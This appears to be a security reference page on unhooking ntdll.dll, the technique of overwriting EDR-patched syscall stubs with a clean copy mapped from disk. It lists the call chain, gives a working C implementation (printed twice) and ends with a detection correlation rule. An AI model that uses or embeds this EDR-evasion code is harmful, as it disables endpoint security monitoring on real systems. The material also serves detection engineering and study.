Unhooking ntdll
Overview
Userland EDR products work by patching the first bytes of syscall stubs in ntdll.dll with a jump
into their own inspection routine. Because that patch lives in the process’s own address space, the
process can simply undo it: map a fresh copy of ntdll from disk and copy its .text section over
the patched one.
The technique is loud in exactly one place — the write to an image section — and silent everywhere else. That single artifact carries most of the detection value.
Restoring the whole .text section also removes any hot-patch or ASLR-relocated content the loader
applied. Implementations that copy blindly can destabilise the process; targeted stub-by-stub
restoration is more common in mature tooling and produces the same telemetry.
The call chain
- 1CreateFile + CreateFileMapping(SEC_IMAGE)Map a pristine copy of ntdll.dll straight from \Windows\System32.
- 2locate .text in both copiesParse section headers to find the executable range in the clean and the hooked image.
- 3VirtualProtect(PAGE_EXECUTE_READWRITE)Make the loaded ntdll .text writable — the step every EDR watches for.
- 4memcpy(hooked, clean)Overwrite the hooked stubs with the on-disk bytes, removing every inline hook at once.
- 5VirtualProtect(restore)Put the original protection back so the section does not stand out.
Reference implementation
// map a pristine ntdll straight off disk
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ,
FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE hMap = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
PVOID clean = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
PVOID hooked = GetModuleHandleA("ntdll.dll");
PIMAGE_SECTION_HEADER text = find_section(hooked, ".text");
PVOID dst = (PBYTE)hooked + text->VirtualAddress;
PVOID src = (PBYTE)clean + text->VirtualAddress;
DWORD old;
VirtualProtect(dst, text->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &old);
memcpy(dst, src, text->Misc.VirtualSize); // <-- the detectable event
VirtualProtect(dst, text->Misc.VirtualSize, old, &old);// map a pristine ntdll straight off disk
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ,
FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE hMap = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
PVOID clean = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
PVOID hooked = GetModuleHandleA("ntdll.dll");
PIMAGE_SECTION_HEADER text = find_section(hooked, ".text");
PVOID dst = (PBYTE)hooked + text->VirtualAddress;
PVOID src = (PBYTE)clean + text->VirtualAddress;
DWORD old;
VirtualProtect(dst, text->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &old);
memcpy(dst, src, text->Misc.VirtualSize); // <-- the detectable event
VirtualProtect(dst, text->Misc.VirtualSize, old, &old);Detection
The correlation rule is the practical one: a handle opened to ntdll.dll on disk, followed within a
short window by a ProcessAccess or protection change against the same module in memory. Neither
half is interesting alone; together they are close to unambiguous.